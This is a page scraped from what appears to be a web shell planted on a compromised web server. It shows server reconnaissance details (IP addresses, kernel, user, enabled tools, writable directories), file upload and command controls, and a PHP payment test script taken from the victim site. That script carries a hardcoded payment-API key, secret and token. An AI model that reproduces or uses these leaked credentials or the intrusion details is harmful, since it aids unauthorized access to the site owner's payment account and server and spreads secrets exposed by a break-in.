403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hans_sites/froyo2me.com/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hans_sites/froyo2me.com/functions/test_credit_card_stuff.php
<?php
	die();
	function random_number($length) {
		return join('', array_map(function($value) { return $value == 1 ? mt_rand(1, 9) : mt_rand(0, 9); }, range(1, $length)));
	}
	
	$customerInfo = array();
	$customerInfo['merchant_ref'] = 'Yogurt';
	$customerInfo['transaction_type'] = 'purchase';
	$customerInfo['method'] = 'credit_card';
	$customerInfo['amount'] = '1299';
	$customerInfo['currency_code'] = 'USD';
	$customerInfo['partial_redemption'] = 'false';
	$customerInfo['credit_card'] = array(
		'type'=>'MasterCard'
		,'cardholder_name'=>'John Smith'
		,'card_number'=>'5454545454545454'
		,'exp_date'=>'1020'
		,'cvv'=>'123'
	);

	$apiKey = 'y6pWAJNyJyjGv66IsVuWnklkKUPFbb0a';
	$apiSecret = '86fbae7030253af3cd15faef2a1f4b67353e41fb6799f576b5093ae52901e6f7';
	$token = 'fdoa-a480ce8951daa73262734cf102641994c1e55e7cdf4c02b6';
	$content_type = 'application/json';
	$nonce = random_number(16);
	$timestamp = microtime();
	$payload = json_encode($customerInfo);
	$data = $apiKey . $nonce . $timestamp . $token . $payload;
	$hashAlgorithm = "sha256";
	$hmac = hash_hmac ( $hashAlgorithm , $data , $apiSecret, false );
	$authorization = base64_encode($hmac);
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL,"https://api-cert.payeezy.com/v1/transactions");
	curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
	curl_setopt($ch, CURLOPT_POSTFIELDS,$payload);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	
	$headers = array(
		'Content-type:application/json'
		,'Content-length:' . strlen($payload)
		,'apikey:'.$apiKey
		,'token:'.$token
		,'Authorization:'.$authorization
	);
	
	curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
	$response = curl_exec ($ch);
	curl_close ($ch);
	
	var_dump($response);
	$arr = json_decode($response);
	echo '<pre>'.print_r($arr,true).'</pre>';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit